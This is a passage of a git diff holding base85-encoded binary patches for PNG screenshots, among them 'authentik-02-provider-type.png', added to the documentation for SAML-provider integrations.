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 literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-02-provider-type.png b/enterprise/integrations/saml-providers/images/authentik-02-provider-type.png new file mode 100644 index 0000000000000000000000000000000000000000..88d3f0751fb92282b1d3920f33c02666d66acd50 GIT binary patch literal 121465 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 